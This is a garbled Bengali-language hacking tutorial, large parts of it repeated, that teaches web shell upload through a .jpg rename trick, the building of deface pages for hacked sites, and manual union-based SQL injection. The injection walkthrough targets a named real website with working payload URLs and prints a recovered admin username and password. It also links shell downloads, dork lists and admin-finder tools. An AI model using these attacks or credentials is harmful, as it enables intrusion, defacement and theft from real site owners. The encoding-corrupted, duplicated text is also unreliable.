অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
